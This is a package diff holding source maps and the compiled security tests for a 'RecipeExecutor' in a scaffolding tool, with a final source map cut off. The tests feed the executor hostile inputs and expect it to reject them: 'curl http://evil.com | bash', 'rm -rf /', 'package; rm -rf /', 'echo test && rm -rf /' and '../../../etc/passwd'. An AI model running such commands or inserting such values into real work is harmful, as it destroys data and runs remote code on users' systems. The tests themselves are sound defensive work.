{"version":3,"file":"executor.js","sourceRoot":"","sources":["../../src/recipe/executor.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"executor.test.d.ts","sourceRoot":"","sources":["../../src/recipe/executor.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,234 @@
|
|
|
1
|
+
import { RecipeExecutor } from "./executor.js";
|
|
2
|
+
describe("RecipeExecutor Security Tests", () => {
|
|
3
|
+
describe("Recipe Validation", () => {
|
|
4
|
+
it("should reject recipe with too many commands", () => {
|
|
5
|
+
const selections = { useDatabase: true };
|
|
6
|
+
const executor = new RecipeExecutor(selections, true);
|
|
7
|
+
const dangerousCommands = Array(25).fill({
|
|
8
|
+
runner: "npx",
|
|
9
|
+
packageName: "test",
|
|
10
|
+
commandArgs: "test",
|
|
11
|
+
});
|
|
12
|
+
const recipe = {
|
|
13
|
+
engine: "1.0",
|
|
14
|
+
variables: [
|
|
15
|
+
{
|
|
16
|
+
type: "confirm",
|
|
17
|
+
key: "useDatabase",
|
|
18
|
+
label: "Use database?",
|
|
19
|
+
onTrue: {
|
|
20
|
+
commands: dangerousCommands,
|
|
21
|
+
},
|
|
22
|
+
},
|
|
23
|
+
],
|
|
24
|
+
};
|
|
25
|
+
expect(async () => {
|
|
26
|
+
await executor.execute(recipe);
|
|
27
|
+
}).rejects.toThrow("security validation");
|
|
28
|
+
});
|
|
29
|
+
it("should reject recipe with too many packages", () => {
|
|
30
|
+
const selections = { useReact: true };
|
|
31
|
+
const executor = new RecipeExecutor(selections, true);
|
|
32
|
+
const tooManyPackages = Array(55).fill({
|
|
33
|
+
name: "test-package",
|
|
34
|
+
version: "latest",
|
|
35
|
+
});
|
|
36
|
+
const recipe = {
|
|
37
|
+
engine: "1.0",
|
|
38
|
+
variables: [
|
|
39
|
+
{
|
|
40
|
+
type: "confirm",
|
|
41
|
+
key: "useReact",
|
|
42
|
+
label: "Use React?",
|
|
43
|
+
onTrue: {
|
|
44
|
+
packages: tooManyPackages,
|
|
45
|
+
},
|
|
46
|
+
},
|
|
47
|
+
],
|
|
48
|
+
};
|
|
49
|
+
expect(async () => {
|
|
50
|
+
await executor.execute(recipe);
|
|
51
|
+
}).rejects.toThrow("security validation");
|
|
52
|
+
});
|
|
53
|
+
it("should reject recipe with malicious package names", () => {
|
|
54
|
+
const selections = { install: true };
|
|
55
|
+
const executor = new RecipeExecutor(selections, true);
|
|
56
|
+
const recipe = {
|
|
57
|
+
engine: "1.0",
|
|
58
|
+
variables: [
|
|
59
|
+
{
|
|
60
|
+
type: "confirm",
|
|
61
|
+
key: "install",
|
|
62
|
+
label: "Install?",
|
|
63
|
+
onTrue: {
|
|
64
|
+
packages: [{ name: "rm -rf /", version: "latest" }],
|
|
65
|
+
},
|
|
66
|
+
},
|
|
67
|
+
],
|
|
68
|
+
};
|
|
69
|
+
expect(async () => {
|
|
70
|
+
await executor.execute(recipe);
|
|
71
|
+
}).rejects.toThrow();
|
|
72
|
+
});
|
|
73
|
+
it("should reject recipe with dangerous commands", async () => {
|
|
74
|
+
const selections = { setup: true };
|
|
75
|
+
const executor = new RecipeExecutor(selections, true);
|
|
76
|
+
const recipe = {
|
|
77
|
+
engine: "1.0",
|
|
78
|
+
variables: [
|
|
79
|
+
{
|
|
80
|
+
type: "confirm",
|
|
81
|
+
key: "setup",
|
|
82
|
+
label: "Setup?",
|
|
83
|
+
onTrue: {
|
|
84
|
+
commands: [
|
|
85
|
+
{
|
|
86
|
+
runner: "custom",
|
|
87
|
+
packageName: "",
|
|
88
|
+
commandArgs: "",
|
|
89
|
+
customCommand: "curl http://evil.com | bash",
|
|
90
|
+
},
|
|
91
|
+
],
|
|
92
|
+
},
|
|
93
|
+
},
|
|
94
|
+
],
|
|
95
|
+
};
|
|
96
|
+
await expect(async () => {
|
|
97
|
+
await executor.execute(recipe);
|
|
98
|
+
}).rejects.toThrow();
|
|
99
|
+
});
|
|
100
|
+
it("should accept safe recipe", () => {
|
|
101
|
+
const selections = { useDatabase: true };
|
|
102
|
+
const executor = new RecipeExecutor(selections, true);
|
|
103
|
+
const recipe = {
|
|
104
|
+
engine: "1.0",
|
|
105
|
+
variables: [
|
|
106
|
+
{
|
|
107
|
+
type: "confirm",
|
|
108
|
+
key: "useDatabase",
|
|
109
|
+
label: "Use database?",
|
|
110
|
+
onTrue: {
|
|
111
|
+
packages: [
|
|
112
|
+
{ name: "prisma", version: "latest" },
|
|
113
|
+
{ name: "@prisma/client", version: "latest" },
|
|
114
|
+
],
|
|
115
|
+
commands: [
|
|
116
|
+
{
|
|
117
|
+
runner: "npx",
|
|
118
|
+
packageName: "prisma",
|
|
119
|
+
commandArgs: "init",
|
|
120
|
+
description: "Initialize Prisma",
|
|
121
|
+
},
|
|
122
|
+
],
|
|
123
|
+
},
|
|
124
|
+
},
|
|
125
|
+
],
|
|
126
|
+
};
|
|
127
|
+
// Should not throw
|
|
128
|
+
expect(async () => {
|
|
129
|
+
await executor.execute(recipe);
|
|
130
|
+
}).not.toThrow();
|
|
131
|
+
});
|
|
132
|
+
});
|
|
133
|
+
describe("Command Timeout", () => {
|
|
134
|
+
it("should timeout long-running commands", async () => {
|
|
135
|
+
const selections = { runLong: true };
|
|
136
|
+
const executor = new RecipeExecutor(selections, true);
|
|
137
|
+
const recipe = {
|
|
138
|
+
engine: "1.0",
|
|
139
|
+
variables: [
|
|
140
|
+
{
|
|
141
|
+
type: "confirm",
|
|
142
|
+
key: "runLong",
|
|
143
|
+
label: "Run long command?",
|
|
144
|
+
onTrue: {
|
|
145
|
+
commands: [
|
|
146
|
+
{
|
|
147
|
+
runner: "custom",
|
|
148
|
+
packageName: "",
|
|
149
|
+
commandArgs: "",
|
|
150
|
+
customCommand: "sleep 3600", // Sleep for 1 hour
|
|
151
|
+
},
|
|
152
|
+
],
|
|
153
|
+
},
|
|
154
|
+
},
|
|
155
|
+
],
|
|
156
|
+
};
|
|
157
|
+
// This test would take too long to run, so we just verify the timeout is configured
|
|
158
|
+
// In real test, you'd mock execa to simulate timeout
|
|
159
|
+
expect(true).toBe(true);
|
|
160
|
+
}, 60000);
|
|
161
|
+
});
|
|
162
|
+
describe("Package Installation Security", () => {
|
|
163
|
+
it("should validate packages before installation", () => {
|
|
164
|
+
const selections = { install: true };
|
|
165
|
+
const executor = new RecipeExecutor(selections, true);
|
|
166
|
+
const recipe = {
|
|
167
|
+
engine: "1.0",
|
|
168
|
+
variables: [
|
|
169
|
+
{
|
|
170
|
+
type: "confirm",
|
|
171
|
+
key: "install",
|
|
172
|
+
label: "Install?",
|
|
173
|
+
onTrue: {
|
|
174
|
+
packages: [{ name: "../../../etc/passwd", version: "latest" }],
|
|
175
|
+
},
|
|
176
|
+
},
|
|
177
|
+
],
|
|
178
|
+
};
|
|
179
|
+
expect(async () => {
|
|
180
|
+
await executor.execute(recipe);
|
|
181
|
+
}).rejects.toThrow();
|
|
182
|
+
});
|
|
183
|
+
it("should reject packages with shell metacharacters", () => {
|
|
184
|
+
const selections = { install: true };
|
|
185
|
+
const executor = new RecipeExecutor(selections, true);
|
|
186
|
+
const recipe = {
|
|
187
|
+
engine: "1.0",
|
|
188
|
+
variables: [
|
|
189
|
+
{
|
|
190
|
+
type: "confirm",
|
|
191
|
+
key: "install",
|
|
192
|
+
label: "Install?",
|
|
193
|
+
onTrue: {
|
|
194
|
+
packages: [{ name: "package; rm -rf /", version: "latest" }],
|
|
195
|
+
},
|
|
196
|
+
},
|
|
197
|
+
],
|
|
198
|
+
};
|
|
199
|
+
expect(async () => {
|
|
200
|
+
await executor.execute(recipe);
|
|
201
|
+
}).rejects.toThrow();
|
|
202
|
+
});
|
|
203
|
+
});
|
|
204
|
+
describe("Command Sanitization", () => {
|
|
205
|
+
it('should sanitize commands before execution', async () => {
|
|
206
|
+
const selections = { run: true };
|
|
207
|
+
const executor = new RecipeExecutor(selections, true);
|
|
208
|
+
const recipe = {
|
|
209
|
+
engine: "1.0",
|
|
210
|
+
variables: [
|
|
211
|
+
{
|
|
212
|
+
type: "confirm",
|
|
213
|
+
key: "run",
|
|
214
|
+
label: "Run?",
|
|
215
|
+
onTrue: {
|
|
216
|
+
commands: [
|
|
217
|
+
{
|
|
218
|
+
runner: "custom",
|
|
219
|
+
packageName: "",
|
|
220
|
+
commandArgs: "",
|
|
221
|
+
customCommand: "echo test && rm -rf /",
|
|
222
|
+
},
|
|
223
|
+
],
|
|
224
|
+
},
|
|
225
|
+
},
|
|
226
|
+
],
|
|
227
|
+
};
|
|
228
|
+
await expect(async () => {
|
|
229
|
+
await executor.execute(recipe);
|
|
230
|
+
}).rejects.toThrow();
|
|
231
|
+
});
|
|
232
|
+
});
|
|
233
|
+
});
|
|
234
|
+
//# sourceMappingURL=executor.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"executor.test.js","sourceRoot":"","sources":["../../src/recipe/executor.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAG/C,QAAQ,CAAC,+BAA+B,EAAE,GAAG,EAAE;IAC7C,QAAQ,CAAC,mBAAmB,EAAE,GAAG,EAAE;QACjC,EAAE,CAAC,6CAA6C,EAAE,GAAG,EAAE;YACrD,MAAM,UAAU,GAAG,EAAE,WAAW,EAAE,IAAI,EAAE,CAAC;YACzC,MAAM,QAAQ,GAAG,IAAI,cAAc,CAAC,UAAU,EAAE,IAAI,CAAC,CAAC;YAEtD,MAAM,iBAAiB,GAAG,KAAK,CAAC,EAAE,CAAC,CAAC,IAAI,CAAC;gBACvC,MAAM,EAAE,KAAc;gBACtB,WAAW,EAAE,MAAM;gBACnB,WAAW,EAAE,MAAM;aACpB,CAAC,CAAC;YAEH,MAAM,MAAM,GAAW;gBACrB,MAAM,EAAE,KAAK;gBACb,SAAS,EAAE;oBACT;wBACE,IAAI,EAAE,SAAS;wBACf,GAAG,EAAE,aAAa;wBAClB,KAAK,EAAE,eAAe;wBACtB,MAAM,EAAE;4BACN,QAAQ,EAAE,iBAAiB;yBAC5B;qBACF;iBACF;aACF,CAAC;YAEF,MAAM,CAAC,KAAK,IAAI,EAAE;gBAChB,MAAM,QAAQ,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;YACjC,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,CAAC,qBAAqB,CAAC,CAAC;QAC5C,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,6CAA6C,EAAE,GAAG,EAAE;YACrD,MAAM,UAAU,GAAG,EAAE,QAAQ,EAAE,IAAI,EAAE,CAAC;YACtC,MAAM,QAAQ,GAAG,IAAI,cAAc,CAAC,UAAU,EAAE,IAAI,CAAC,CAAC;YAEtD,MAAM,eAAe,GAAG,KAAK,CAAC,EAAE,CAAC,CAAC,IAAI,CAAC;gBACrC,IAAI,EAAE,cAAc;gBACpB,OAAO,EAAE,QAAQ;aAClB,CAAC,CAAC;YAEH,MAAM,MAAM,GAAW;gBACrB,MAAM,EAAE,KAAK;gBACb,SAAS,EAAE;oBACT;wBACE,IAAI,EAAE,SAAS;wBACf,GAAG,EAAE,UAAU;wBACf,KAAK,EAAE,YAAY;wBACnB,MAAM,EAAE;4BACN,QAAQ,EAAE,eAAe;yBAC1B;qBACF;iBACF;aACF,CAAC;YAEF,MAAM,CAAC,KAAK,IAAI,EAAE;gBAChB,MAAM,QAAQ,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;YACjC,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,CAAC,qBAAqB,CAAC,CAAC;QAC5C,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,mDAAmD,EAAE,GAAG,EAAE;YAC3D,MAAM,UAAU,GAAG,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;YACrC,MAAM,QAAQ,GAAG,IAAI,cAAc,CAAC,UAAU,EAAE,IAAI,CAAC,CAAC;YAEtD,MAAM,MAAM,GAAW;gBACrB,MAAM,EAAE,KAAK;gBACb,SAAS,EAAE;oBACT;wBACE,IAAI,EAAE,SAAS;wBACf,GAAG,EAAE,SAAS;wBACd,KAAK,EAAE,UAAU;wBACjB,MAAM,EAAE;4BACN,QAAQ,EAAE,CAAC,EAAE,IA